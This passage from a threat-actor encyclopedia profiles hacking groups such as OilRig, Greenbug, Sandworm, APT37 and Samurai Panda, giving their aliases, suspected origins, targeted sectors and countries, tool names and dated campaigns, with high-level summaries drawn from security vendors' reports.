SEASHARPEE, Shamoon, SpyNote, StoneDrill, Systeminfo, Tasklist, TwoFace and Webmask. Operations performed Aug 2012 Shamoon Attacks W32.Disttrack is a new threat that is being used in specific targeted attacks against at least one organization in the energy sector. It is a destructive malware that corrupts files on a compromised computer and overwrites the MBR (Master Boot Record) in an effort to render a computer unusable. Target: Saudi Aramco and Rasgas. May 2016 Targeted Attacks against Banks in the Middle East In the first week of May 2016, FireEye s DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region. The threat actors appear to be performing initial reconnaissance against would-be targets, and the attacks caught our attention since they were using unique scripts not commonly seen in crimeware campaigns. Threat Group Cards: A Threat Actor Encyclopedia Nov 2016 Shamoon v2 The malware used in the recent attacks (W32.Disttrack.B) is largely unchanged from the variant used four years ago. In the 2012 attacks, infected computers had their master boot records wiped and replaced with an image of a burning US flag. The latest attacks instead used a photo of the body of Alan Kurdi, the three year-old Syrian refugee who drowned in the Mediterranean last year. Jun 2016 We have identified two separate testing efforts carried out by the OilRig actors, one occurring in June and one in November of 2016. The sample set associated with each of these testing activities is rather small, but the changes made to each of the files give us a chance to understand what modifications the actor performs in an attempt to evade detection. This testing activity also suggests that the threat group responsible for the OilRig attack campaign have an organized, professional operations model that includes a testing component to the development of their tools. Oct 2016 In recent weeks we ve discovered that the group have been actively updating their Clayslide delivery documents, as well as the Helminth backdoor used against victims. Additionally, the scope of organizations targeted by this group has expanded to not only include organizations within Saudi Arabia, but also a company in Qatar and government organizations in Turkey, Israel and the United States. Jan 2017 Delivers Digitally Signed Malware, Impersonates University of Oxford In recent attacks they set up a fake VPN Web Portal and targeted at least five Israeli IT vendors, several financial institutes, and the Israeli Post Office. Later, the attackers set up two fake websites pretending to be a University of Oxford conference sign-up page and a job application website. In these websites they hosted malware that was digitally signed with a valid, likely stolen code signing certificate. Jun 2017 In July 2017, we observed the OilRig group using a tool they developed called ISMAgent in a new set of targeted attacks. The OilRig group developed ISMAgent as a variant of the ISMDoor Trojan. In August 2017, we found this threat group has developed yet another Trojan that they call Agent Injector with the specific purpose of installing the ISMAgent backdoor. We are tracking this tool as ISMInjector. Jul 2017 The web server logs on the system we examined that was compromised with the TwoFace shell gave us a glimpse into the commands the actor executed through their malware. These commands also enabled us to create a profile of the actor, specifically their intentions and the tools and techniques used to carry out their operation. Threat Group Cards: A Threat Actor Encyclopedia Sep 2017 While expanding our research into the TwoFace webshell from this past July, we were able to uncover several IP addresses that logged in and directly interfaced with the shell we discovered and wrote about. Investigating deeper into these potential adversary IPs revealed a much larger infrastructure used to execute the attacks. Nov 2017 New Targeted Attack in the Middle East In this latest campaign, APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER. Jan 2018 On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. Just over a week later, on January 16, 2018, we observed an attack on a Middle Eastern financial institution. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Jan 2018 While investigating files uploaded to a TwoFace webshell, Unit 42 discovered actors installing an Internet Information Services (IIS) backdoor that we call RGDoor. Our data suggests that actors have deployed the RGDoor backdoor on webservers belonging to eight Middle Eastern government organizations, as well as one financial and one educational institution. May 2018 Technology Service Provider and Government Agency Between May and June 2018, Unit 42 observed multiple attacks by the OilRig group appearing to originate from a government agency in the Middle East. Based on previously observed tactics, it is highly likely the OilRig group leveraged credential harvesting and compromised accounts to use the government agency as a launching platform for their true attacks. Dec 2018 Shamoon v3 After a two-year absence, the destructive malware Shamoon (W32.Disttrack.B) re-emerged on December 10 in a new wave of attacks against targets in the Middle East. These latest Shamoon attacks are doubly destructive, since they involve a new wiper (Trojan.Filerase) that deletes files from infected computers before the Shamoon malware wipes the master boot record. Threat Group Cards: A Threat Actor Encyclopedia Mar 2019 In an incident reminiscent of the Shadow Brokers leak that exposed the NSA's hacking tools, someone has now published similar hacking tools belonging to one of Iran's elite cyber-espionage units, known as APT34, Oilrig, or HelixKitten. Jun 2019 A new hacking tool believed to have been in the arsenal of Iranian state hackers has been published today online, in a Telegram channel. This new tool is named Jason and was published online earlier today in the same Telegram channel where the leaker -- going by the name of Lab Dookhtegan -- dumped the six other previous hacking tools. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Subgroup: Greenbug Names Greenbug (Symantec) Country Iran Description (Symantec) Symantec discovered the Greenbug cyberespionage group during its investigation into previous attacks involving W32.Disttrack.B (aka Shamoon). Shamoon (W32.Disttrack) first made headlines in 2012 when it was used in attacks against energy companies in Saudi Arabia. It recently resurfaced in November 2016 (W32.Disttrack.B), again attacking targets in Saudi Arabia. While these attacks were covered extensively in the media, how the attackers stole these credentials and introduced W32.Disttrack on targeted organizations networks remains a mystery. Could Greenbug be responsible for getting Shamoon those stolen credentials? Although there is no definitive link between Greenbug and Shamoon, the group compromised at least one administrator computer within a Shamoon-targeted organization s network prior to W32.Disttrack.B being deployed on November 17, 2016. Operations performed Nov 2016 Greenbug cyberespionage group targeting Middle East, possible links to Shamoon May 2017 Researchers have identified a possible new collaborator in the continued Shamoon attacks against Saudi organizations. Called Greenbug, this group is believed to be instrumental in helping Shamoon steal user credentials of targets ahead of Shamoon destructive attacks. Jul 2017 OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group In July 2017, we observed an attack on a Middle Eastern technology organization that was also targeted by the OilRig campaign in August 2016. Initial inspection of this attack suggested this was again the OilRig campaign using their existing toolset, but further examination revealed not only new variants of the delivery document we named Clayslide, but also a different payload embedded inside it. Oct 2017 Iranian Threat Agent Greenbug has been registering domains similar to those of Israeli High-Tech and Cyber Security Companies. On 15 October 2017 a sample of ISMdoor was submitted to VirusTotal from Iraq. Threat Group Cards: A Threat Actor Encyclopedia Operation BugDrop Names Operation BugDrop (CyberX) Country Russia Motivation Information theft and espionage Description (CyberX) CyberX has discovered a new, large-scale cyber-reconnaissance operation targeting a broad range of targets in the Ukraine. Because it eavesdrops on sensitive conversations by remotely controlling PC microphones in order to surreptitiously its targets and uses Dropbox to store exfiltrated data, CyberX has named it Operation BugDrop. CyberX has confirmed at least 70 victims successfully targeted by the operation in a range of sectors including critical infrastructure, media, and scientific research. The operation seeks to capture a range of sensitive information from its targets including audio recordings of conversations, screen shots, documents and passwords. Unlike video recordings, which are often blocked by users simply placing tape over the camera lens, it is virtually impossible to block your computer s microphone without physically accessing and disabling the PC hardware. Observed Sectors: Engineering, Oil and gas, Media and Research. Countries: Austria, Saudi Arabia, Russia and Ukraine. Tool used Dropbox. Information Threat Group Cards: A Threat Actor Encyclopedia Operation Ghoul Names Operation Ghoul (Kaspersky) Country [Unknown] Motivation Information theft and espionage Description (Kaspersky) Kaspersky Lab has observed new waves of attacks that started on the 8th and the 27th of June 2016. These have been highly active in the Middle East region and unveiled ongoing targeted attacks in multiple regions. The attackers try to lure targets through spear phishing emails that include compressed executables. The malware collects all data such as passwords, keystrokes and screenshots, then sends it to the attackers. We found that the group behind this campaign targeted mainly industrial, engineering and manufacturing organizations in more than 30 countries. In total, over 130 organizations have been identified as victims of this campaign. Using the Kaspersky Security Network (KSN) and artifacts from malware files and attack sites, we were able to trace the attacks back to March 2015. Noteworthy is that since the beginning of their activities, the attackers motivations are apparently financial, whether through the victims banking accounts or through selling their intellectual property to interested parties, most infiltrated victim organizations are considered SMBs (Small to Medium size businesses, 30-300 employees), the utilization of commercial off-the-shelf malware makes the attribution of the attacks more difficult. Observed Sectors: Education, Engineering, Industrial, Manufacturing, IT, Pharmaceutical, Shipping and Logistics, Tourism and Trading. Countries: Azerbaijan, China, Egypt, France, Germany, Gilbraltar, India, Iran, Iraq, Italy, Pakistan, Portugal, Romania, Qatar, Saudi Arabia, Spain, Sweden, Switzerland, Taiwan, Turkey, UAE, UK and USA. Tool used ShopBot. Information Threat Group Cards: A Threat Actor Encyclopedia Operation Groundbait Names Operation Groundbait (ESET) Country [Unknown] Motivation Information theft and espionage Description (ESET) After BlackEnergy, which has, most infamously, facilitated attacks that resulted in power outages for hundreds of thousands of Ukrainian civilians, and Operation Potao Express, where attackers went after sensitive TrueCryptprotected data from high value targets, ESET researchers have uncovered another cyberespionage operation in Ukraine: Operation Groundbait. The main point that sets Operation Groundbait apart from the other attacks is that it has mostly been targeting anti-government separatists in the self-declared Donetsk and Luhansk People s Republics. While the attackers seem to be more interested in separatists and the selfdeclared governments in eastern Ukrainian war zones, there have also been a large number of other targets, including, among others, Ukrainian government officials, politicians and journalists. Observed Sectors: Government, politicians and journalists. Countries: Ukraine. Tool used Prikormka. Information Threat Group Cards: A Threat Actor Encyclopedia Operation Parliament Names Operation Parliament (Kaspersky) Country [Unknown] Motivation Information theft and espionage Description (Kaspersky) Based on our findings, we believe the attackers represent a previously unknown geopolitically motivated threat actor. The campaign started in 2017, with the attackers doing just enough to achieve their goals. They most likely have access to additional tools when needed and appear to have access to an elaborate database of contacts in sensitive organizations and personnel worldwide, especially of vulnerable and non-trained staff. The victim systems range from personal desktop or laptop systems to large servers with domain controller roles or similar. The nature of the targeted ministries varied, including those responsible for telecommunications, health, energy, justice, finance and so Operation Parliament appears to be another symptom of escalating tensions in the Middle East region. The attackers have taken great care to stay under the radar, imitating another attack group in the region. They have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their command and control servers. The targeting seems to have slowed down since the beginning of 2018, probably winding down when the desired data or access was obtained. The targeting of specific victims is unlike previously seen behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points to an elaborate information-gathering exercise that was carried out before the attacks (physical and/or digital). With deception and false flags increasingly being employed by threat actors, attribution is a hard and complicated task that requires solid evidence, especially in complex regions such as the Middle East. Observed Sectors: Defense, Education, Energy, Financial, Government, Healthcare, Media, Research, Shipping and Logistics, Sports and Telecommunications. Countries: Afghanistan, Canada, Chile, Denmark, Djibouti, Egypt, Germany, India, Iran, Iraq, Israel, Jordan, Kuwait, Lebanon, Morocco, Oman, Palestine, Qatar, Russia, Saudi Arabia, Serbia, Somalia, South Korea, Syria, UAE, UK and USA. Tool used Remote CMD/PowerShell terminal. Information Threat Group Cards: A Threat Actor Encyclopedia Operation Potao Express Names Operation Potao Express (ESET) Country [Unknown] Motivation Information theft and espionage Description (ESET) We presented our initial findings based on research into the Win32/Potao malware family in June, in our CCCC 2015 presentation in Copenhagen. Today, we are releasing the full whitepaper on the Potao malware with additional findings, the cyberespionage campaigns where it was employed, and its connection to a backdoor in the form of a modified version of the TrueCrypt encryption software. Like BlackEnergy, the malware used by the so-called Sandworm APT group (also known as Quedagh), Potao is an example of targeted espionage malware directed mostly at targets in Ukraine and a number of other post-Soviet countries, including Russia, Georgia and Belarus. Observed Countries: Belarus, Georgia, Russia and Ukraine. Tool used FakeTC and Patao. Information Threat Group Cards: A Threat Actor Encyclopedia Orangeworm Names Orangeworm (Symantec) Country [Unknown] Motivation Information theft and espionage Description (Symantec) Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage. Based on the list of known victims, Orangeworm does not select its targets randomly or conduct opportunistic hacking. Rather, the group appears to choose its targets carefully and deliberately, conducting a good amount of planning before launching an attack. According to Symantec telemetry, almost 40 percent of Orangeworm s confirmed victim organizations operate within the healthcare industry. The Kwampirs malware was found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. Additionally, Orangeworm was observed to have an interest in machines used to assist patients in completing consent forms for required procedures. The exact motives of the group are unclear. Observed Sectors: Healthcare, as well as related industries as part of a larger supply-chain attack such as Healthcare providers, Manufacturing, IT and Pharmaceuticals. Countries: Belgium, Brazil, Canada, Chile, China, France, Germany, Hong Kong, Hungary, India, Malaysia, Netherlands, Norway, Philippines, Poland, Saudi Arabia, Spain, Sweden, Switzerland, Turkey, UK and USA. Tools used Kwampirs and Systeminfo. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia PassCV Names PassCV (Blue Coat Systems) Country China Sponsor State-sponsored Motivation Information theft and espionage Description (Cylance) Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. The PassCV group typically utilized publicly available RATs in addition to some custom code, which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae (CVs). PassCV continues to maintain a heavy reliance on obfuscated and signed versions of older RATs like ZxShell and Ghost RAT, which have remained a favorite of the wider Chinese criminal community since their initial public release. Observed Sectors: Online videogame companies. Countries: China, Europe, Russia, South Korea, Taiwan and USA. Tools used Cobalt Strike, Gh0st RAT, Kitkiot, Netwire, Sabresac, Winnti and ZXShell Information Threat Group Cards: A Threat Actor Encyclopedia Patchwork, Dropping Elephant Names Patchwork (Cymmetria) Dropping Elephant (Kaspersky) Chinastrats (Kaspersky) APT-C-09 (360) Monsoon (Forcepoint) Quilted Tiger (CrowdStrike) Country India Motivation Information theft and espionage Description (Cymmetria) Patchwork is a targeted attack that has infected an estimated 2,500 machines since it was first observed in December 2015. There are indications of activity as early as 2014, but Cymmetria has not observed any such activity first hand. Patchwork targets were chosen worldwide with a focus on personnel working on military and political assignments, and specifically those working on issues relating to Southeast Asia and the South China Sea. Many of the targets were governments and government-related organizations. The code used by this threat actor is copy-pasted from various online forums, in a way that reminds us of a patchwork quilt hence the name we ve given the operation. In active victim systems, Patchwork immediately searches for and uploads documents to their C&C, and only if the target is deemed valuable enough, proceeds to install a more advanced second stage malware. This group seems to be associated with Confucius. Observed Sectors: Aviation, Defense, Energy, Financial, Government, IT, Media, NGOs, Pharmaceutical and Think Tanks. Countries: China, Japan, Middle East, UK, USA and Southeast Asia, many of the target countries are in the area surrounding the Indian subcontinent (Bangladesh, Sri Lanka and Pakistan). Tools used AndroRAT, AutoIt backdoor, BADNEWS, Bahamut, MazeRunner, NdiskMonitor, PowerSploit, QuasarRAT, Sarit, Socksbot, Steladoc, TINYTYPHON WSCSPL and Unknown Logger. Operations performed 2015 The attack was detected as part of a spear phishing against a government organization in Europe in late May 2016. The target was an employee working on Chinese policy research and the attack vector was a PowerPoint presentation file. The content of the presentation was on issues relating to Chinese activity in the South China Sea. Mar 2018 Targeting US Think Tanks In March and April 2018, Volexity identified multiple spear phishing campaigns attributed to Patchwork, an Indian APT group also known as Dropping Elephant. This increase in threat activity was consistent with other observations documented over the last few months in blogs by 360 Threat Intelligence Center analyzing attacks on Chinese organizations and Trend Micro noting targets in South Asia. Threat Group Cards: A Threat Actor Encyclopedia Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Pirate Panda, APT 23, KeyBoy Names Pirate Panda (CrowdStrike) APT 23 (Mandiant) KeyBoy (Rapid7) Country China Sponsor State-sponsored Motivation Information theft and espionage Description (Rapid7) In this blog post we'll analyze two specific incidents apparently targeting victims in Vietnam and in India and we'll describe the capabilities of the custom backdoor being used that for convenience (and to our knowledge, for a lack of an existing name) we call KeyBoy, due to a string present in one of the samples. Observed Countries: India and Vietnam. Tools used CREDRIVER. Information Threat Group Cards: A Threat Actor Encyclopedia PittyTiger, Pitty Panda Names PittyTiger (FireEye) Pitty Panda (CrowdStrike) Manganese (Microsoft) Country China Motivation Information theft and espionage Description (Airbus) Pitty Tiger is a group of attackers that have been active since at least 2011. They have targeted private companies in several sectors, such as defense and telecommunications, but also at least one government. We have been able to track down this group of attackers and can provide detailed information about them. We were able to collect and reveal their malware arsenal We also analyzed their technical organization. Our investigations indicate that Pitty Tiger has not used any 0day vulnerability so far, rather they prefer using custom malware, developed for the group s exclusive usage. Our discoveries indicate that Pitty Tiger is a group of attackers with the ability to stay under the radar, yet still not as mature as other groups of attackers we monitor. Pitty Tiger is probably not a state-sponsored group of attackers. They lack the experience and financial support that one would expect from state-sponsored attackers. We suppose this group is opportunistic and sells its services to probable competitors of their targets in the private sector. We have been able to leverage several attackers profiles, showing that the Pitty Tiger group is fairly small compared to other APT groups, which is probably why we saw them work on a very limited amount of targets. Observed Sectors: Defense, Government, Telecommunications and Web development. Countries: Europe and Taiwan. Tools used Gh0st RAT, gsecdump, Lurid, Mimikatz, Paladin, pgift, Pitty and Poison Ivy. Operations performed 2011 Operation The Eye of the Tiger Jun 2014 We discovered this malware sample in June 2014, leading to a command & control (c&c) server still in activity. Our researches around the malware family revealed the Pitty Tiger group has been active since 2011, yet we found traces which makes us believe the group is active since 2010. Jul 2014 During the last month, McAfee Labs researchers have uncovered targeted attacks carried out via spear phishing email against a French company. We have seen email sent to a large group of individuals in the organization. Threat Group Cards: A Threat Actor Encyclopedia 2014 MITRE ATT&CK In a recent attack against a French company, the attackers sent simple, straightforward messages in English and French from free email addresses using names of actual employees of the targeted company. Threat Group Cards: A Threat Actor Encyclopedia Platinum Names Platinum (Microsoft) TwoForOne (Kaspersky) Country China Motivation Information theft and espionage Description (Microsoft) Platinum has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, Platinum seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group s persistent use of spear-phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat. Observed Sectors: Defense, Government, Intelligence agencies and Telecommunications. Countries: China, India, Indonesia, Malaysia, Singapore and Thailand. Tools used adbupd, AMTsol, Dipsind and JPIN. Operations performed 2017 Since the 2016 publication, Microsoft has come across an evolution of PLATINUM s file-transfer tool, one that uses the Intel Active Management Technology (AMT) Serial-over-LAN (SOL) channel for communication. This channel works independently of the operating system (OS), rendering any communication over it invisible to firewall and network monitoring applications running on the host device. Until this incident, no malware had been discovered misusing the AMT SOL feature for communication. Middle 2017 Operation EasternRoppels In the middle of 2017, Kaspersky Lab experts discovered a new malicious threat that is believed to be related to the famous PLATINUM APT group, which had been widely regarded as inactive. They named the campaign EasternRoppels Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Poseidon Group Names Poseidon Group (Kaspersky) Country [Unknown] Motivation Information theft and espionage Description (Kaspersky) During the latter part of 2015, Kaspersky researchers from GreAT (Global Research and Analysis Team) got hold of the missing pieces of an intricate puzzle that points to the dawn of the first Portuguese-speaking targeted attack group, named Poseidon. The group s campaigns appear to have been active since at least 2005, while the very first sample found points to 2001. This signals just how long ago the Poseidon threat actor was already working on its offensive framework. The Poseidon Group is a long-running team operating on all domains: land, air, and sea. They are dedicated to running targeted attacks campaigns to aggressively collect information from company networks through the use of spear-phishing packaged with embedded, executable elements inside office documents and extensive lateral movement tools. The information exfiltrated is then leveraged by a company front to blackmail victim companies into contracting the Poseidon Group as a security firm. Even when contracted, the Poseidon Group may continue its infection or initiate another infection at a later time, persisting on the network to continue data collection beyond its contractual obligation. The Poseidon Group has been active, using custom code and evolving their toolkit since at least 2005. Their tools are consistently designed to function on English and Portuguese systems spanning the gamut of Windows OS, and their exfiltration methods include the use of hijacked satellite connections. Poseidon continues to be active at this time. Observed Sectors: Energy, Financial, Government, Media, Manufacturing, Telecommunications and Utilities. Countries: Brazil, France, India, Kazakhstan, Russia, UAE and USA. Tools used IGT supertool. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Promethium Names Promethium (Microsoft) StrongPity (Kaspersky) Country Turkey Motivation Information theft and espionage Description Promethium is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. Promethium has demonstrated similarity to another activity group called Neodymium due to overlapping victim and campaign characteristics. (Microsoft) Promethium is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features this shows a close relationship between the activity groups behind the campaigns and the developers of the malware. Observed Countries: Europe and Turkey. Tools used Truvasys. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Putter Panda, APT 2 Names Putter Panda (CrowdStrike) TG-6952 (SecureWorks) APT 2 (Mandiant) Group 36 (Talos) Sulphur (Microsoft) Country China Sponsor State-sponsored, Unit 61486 of the 12th Bureau of the PLA s 3rd General Staff Department (GSD). Motivation Information theft and espionage Description Putter Panda is the name of bad actor responsible for a series of cyberespionage operations originating in Shanghai, security experts linked its operation to the activity of the People s Liberation Army 3rd General Staff Department 12th Bureau Unit 61486. A fake yoga brochure was one of different emails used for a spear-phishing campaign conducted by the stealth Chinese cyber unit according an investigation conducted by researchers at the CrowdStrike security firm. Also in this case the experts believe that we are facing with a large scale cyberespionage campaign targeting government entities, contractors and research companies in Europe, USA and Japan. The group has been operating since at least 2007 and appears very interested in research companies in the space and satellite industry, experts at CrowdStrike have collected evidence of a numerous attacks against these industries. Observed Sectors: Defense, Government, Research and Technology (Communications, Space, Aerospace). Countries: USA. Tools used 3PARA RAT, 4H RAT, httpclient, MSUpdater, pngdowner and SearchFire. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Rancor Names Rancor (Palo Alto) Rancor Group (Palo Alto) Country China Motivation Information theft and espionage Description (Palo Alto) Throughout 2017 and 2018 Unit 42 has been tracking and observing a series of highly targeted attacks focused in South East Asia, building on our research into the KHRAT Trojan. Based on the evidence, these attacks appear to be conducted by the same set of attackers using previously unknown malware families. In addition, these attacks appear to be highly targeted in their distribution of the malware used, as well as the targets chosen. Based on these factors, Unit 42 believes the attackers behind these attacks are conducting their campaigns for espionage purposes. We believe this group is previously unidentified and therefore have we have dubbed it Rancor . The Rancor group s attacks use two primary malware families which we describe in depth later in this blog and are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers toolkit. Observed Sectors, Government and political entities. Countries: Southeast Asia (at least Cambodia and Singapore). Tools used certutil, DDKONG and PLAINTEE. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Reaper, APT 37, Ricochet Chollima Names Reaper (FireEye) APT 37 (Mandiant) Ricochet Chollima (CrowdStrike) Group 123 (Talos) Red Eyes (AhnLab) Venus 121 (ESRC) Country North Korea Sponsor State-sponsored Motivation Information theft and espionage Description Some research organizations link this group to Lazarus Group, Hidden Cobra, Labyrinth Chollima. (FireEye) Read our report, APT37 (Reaper): The Overlooked North Korean Actor, to learn more about our assessment that this threat actor is working on behalf of the North Korean government, as well as various other details about their operations: Targeting: Primarily South Korea though also Japan, Vietnam and the Middle East in various industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive, and healthcare. Initial Infection Tactics: Social engineering tactics tailored specifically to desired targets, strategic web compromises typical of targeted cyberespionage operations, and the use of torrent file-sharing sites to distribute malware more indiscriminately. Exploited Vulnerabilities: Frequent exploitation of vulnerabilities in Hangul Word Processor (HWP), as well as Adobe Flash. The group has demonstrated access to zero-day vulnerabilities (CVE-2018-0802), and the ability to incorporate them into operations. Command and Control Infrastructure: Compromised servers, messaging platforms, and cloud service providers to avoid detection. The group has shown increasing sophistication by improving their operational security over time. Malware: A diverse suite of malware for initial intrusion and exfiltration. Along with custom malware used for espionage purposes, APT37 also has access to destructive malware. Observed Sectors: Aerospace, Automotive, Chemical, Financial, Government, Healthcare, Manufacturing and Technology. Countries: China, India, Japan, Kuwait, Nepal, Romania, Russia, South Korea, UK and Vietnam. Tools used CORALDECK, DOGCALL, Final1stSpy, Freenki Loader, HAPPYWORK, KARAE, KevDroid, N1stAgent, NavRAT, Nokki, PoohMilk Loader, POORAIM, ROKRAT, SHUTTERSPEED, SLOWDRIFT, WINERACK and several 0-day Flash and MS Office exploits. Operations performed 2012 Spying on South Korean users. Aug 2016 Operation Golden Time Target: South Korean users. Method: spear-phishing emails combined with malicious HWP documents created using Hancom Hangul Office Suite. Nov 2016 Operation Evil New Year Threat Group Cards: A Threat Actor Encyclopedia Target: South Korean users. Method: spear-phishing emails combined with malicious HWP documents created using Hancom Hangul Office Suite. Mar 2017 Operation Are You Happy? Target: South Korean users. Method: Not only to gain access to the remote infected systems but to also wipe the first sectors of the device. May 2017 Operation FreeMilk Target: Several non-Korean financial institutions. Method: A malicious Microsoft Office document, a deviation from their normal use of Hancom documents. Nov 2017 Operation North Korean Human Right Target: South Korean users. Method: Spear-phishing emails combined with malicious HWP documents created using Hancom Hangul Office Suite. Jan 2018 Operation Evil New Year 2018 Target: South Korean users. Method: Spear-phishing emails combined with malicious HWP documents created using Hancom Hangul Office Suite. May 2018 Operation Onezero Aug 2018 Operation Rocket Man Nov 2018 Operation Korean Sword Jan 2019 Operation Holiday Wiper Mar 2019 Operation Golden Bird Mar 2019 Operation High Expert Apr 2019 Operation Black Banner Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Threat Group Cards: A Threat Actor Encyclopedia Roaming Tiger Names Roaming Tiger (ESET) Country Russia Motivation Information theft and espionage Description (Palo Alto) In late 2014, ESET presented an attack campaign that had been observed over a period of time targeting Russia and other Russian speaking nations, dubbed Roaming Tiger . The attack was found to heavily rely on RTF exploits and at the time, thought to make use of the PlugX malware family. Observed Countries: Belarus, Kazakhstan, Kyrgyzstan, Tajikistan, Ukraine and Uzbekistan. Tools used BBSRAT, Gh0st RAT and PlugX. Operations performed Aug 2015 Information Threat Group Cards: A Threat Actor Encyclopedia Names RTM (ESET) Country Russia Motivation Financial gain Description (ESET) There are several groups actively and profitably targeting businesses in Russia. A trend that we have seen unfold before our eyes lately is these cybercriminals use of simple backdoors to gain a foothold in their targets networks. Once they have this access, a lot of the work is done manually, slowly getting to understand the network layout and deploying custom tools the criminals can use to steal funds from these entities. Some of the groups that best exemplify these trends are Buhtrap, Cobalt Group and Corkow, Metel. The group discussed in this white paper is part of this new trend. We call this new group RTM; it uses custom malware, written in Delphi, that we cover in detail in later sections. The first trace of this tool in our telemetry data dates back to late 2015. The group also makes use of several different modules that they deploy where appropriate to their targets. They are interested in users of remote banking systems (RBS), mainly in Russia and neighboring countries. Observed That this group is mostly targeting businesses is apparent from the processes they are looking for on a compromised system. They look for software that is usually only installed on accountants computers, such as remote banking software or tools to help with accounts pay. Countries: Czech, Germany, Kazakhstan, Russia and Ukraine. Tools used RTM. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Sandworm Team, Iron Viking, Voodoo Bear Names Sandworm Team (Trend Micro) Iron Viking (SecureWorks) Voodoo Bear (CrowdStrike) Quedagh (F-Secure) TEMP.Noble (FireEye) Country Russia Motivation Sabotage and destruction Description Sandworm Team is a Russian cyberespionage group that has operated since approximately 2009. The group likely consists of Russian pro-hacktivists. Sandworm Team targets mainly Ukrainian entities associated with energy, industrial control systems, SCADA, government, and media. Sandworm Team has been linked to the Ukrainian energy sector attack in late 2015. This group appears to be closely associated with, or evolved into, TeleBots. Observed Sectors: Education, Energy, Government and Telecommunications. Countries: Azerbaijan, Belarus, Georgia, Iran, Israel, Kazakhstan, Kyrgyzstan, Lithuania, Poland, Russia and Ukraine. Tools used BlackEnergy, Gcat and PassKillDisk. Operations performed Oct 2014 The vulnerability was disclosed by iSIGHT Partners, which said that the vulnerability had already been exploited in a small number of cyberespionage attacks against NATO, several unnamed Ukrainian government organizations, a number of Western European governmental organizations, companies operating in the energy sector, European telecoms firms, and a US academic organization. Dec 2015 Widespread power outages on the Ukraine The power outage was described as technical failures taking place on Wednesday, December 23 that impacted a region around IvanoFrankivisk Oblast. One report suggested the utility began to disconnect power substations for no apparent reason. The same report goes on to describe a virus was launched from the outside and it brought down the remote management system (a reference to the SCADA and or EMS). The outage was reported to have lasted six hours before electrical service was restored. At least two reports suggest the utility had initiated manual controls for restoration of service and the SCADA system was still off-line due to the infection. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Samurai Panda, APT 4 Names Samurai Panda (CrowdStrike) APT 4 (Mandiant) APT 4 (FireEye) Wisp Team (Symantec) Country China Sponsor State-sponsored, PLA Navy Motivation Information theft and espionage Description (CrowdStrike) Samurai Panda is interesting in that their target selection tends to focus on Asia Pacific victims in Japan, the Republic of Korea, and other democratic Asian victims. Beginning in 2009, we ve observed this actor conduct more than 40 unique campaigns that we ve identified in the malware configurations campaign codes. These codes are often leveraged in the malware used by coordinated targeted attackers to differentiate victims that were successfully compromised from different target sets. The implant delivered by Samurai Panda uses a typical installation process whereby they: 1. Leverage a spear-phish with an exploit to get control of the execution flow of the targeted application. This file drops an XOR-encoded payload that unpacks itself and a configuration file. 2. Next, the implant, which can perform in several different modes, typically will install itself as a service and then begin beaconing out to an adversarycontrolled host. 3. If that command-and-control host is online, the malicious service will download and instantiate a backdoor that provides remote access to the attacker, who will see the infected host s identification information as well as the campaign code. Observed Sectors: Defense and Government. Countries: Hong Kong, Japan, South Korea, UK and USA. Tools used Getkys, Sykipot and Wkysol. Information Threat Group Cards: A Threat Actor Encyclopedia 